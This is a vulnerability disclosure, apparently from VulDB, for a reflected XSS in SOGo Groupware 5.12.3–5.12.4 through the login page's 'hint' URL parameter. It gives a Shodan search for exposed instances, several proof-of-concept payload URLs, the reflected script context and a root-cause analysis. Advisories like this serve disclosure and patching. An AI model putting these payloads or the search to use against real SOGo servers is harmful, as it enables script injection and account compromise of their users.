Submeter #757609: Inverse / SOGo Community SOGo Groupware 5.12.3 - 5.12.4 Cross Site Scripting

Summary

A reflected Cross-Site Scripting (XSS) vulnerability exists in SOGo version 5.12.4 within the web login interface. The application fails to properly sanitize and encode user-controlled input passed through the hint URL parameter before embedding it into a JavaScript context.

This flaw allows remote attackers to inject and execute arbitrary JavaScript code in the context of the victim’s browser by convincing users to visit a specially crafted URL.

Vulnerable Endpoint
/SOGo?hint=

Example:

https://target-domain/SOGo?hint=<payload>

Dork:

https://www.shodan.io/search?query=title%3A%22SOGo%22

Proof of Concept (PoC)

Payloads (Examples)

https://example.com/SOGo?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27//SOGo/

Decoded payload:

'-alert(document.domain)-'/

Reflected Output

The payload is reflected in the following JavaScript context:

<script type="text/javascript">
var cookieUsername = "";
var language = 'BrazilianPortuguese';
var loginHint = ''-alert(document.domain)-'/'
</script>

This breaks out of the string and triggers JavaScript execution.

Root Cause Analysis

The vulnerability occurs because the hint parameter is embedded directly into a JavaScript variable without proper escaping:

var loginHint = '<user_input>';

No context-aware output encoding is applied. As a result, attackers can inject special characters (', ", /) to terminate the string and execute arbitrary code.

Impact

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of the affected domain.

• Fonte: ⚠️ https://www.sogo.nu/
• Utilizador: erickfernandox (UID 57733)
• Submissão: 13/02/2026 05h23 (há 5 meses)
• Moderação: 23/02/2026 18h55 (11 days later)
• Estado: Aceite
• Entrada VulDB: 347412 [Alinto SOGo 5.12.3/5.12.4 hint Script de Site Cruzado]
• Pontos: 17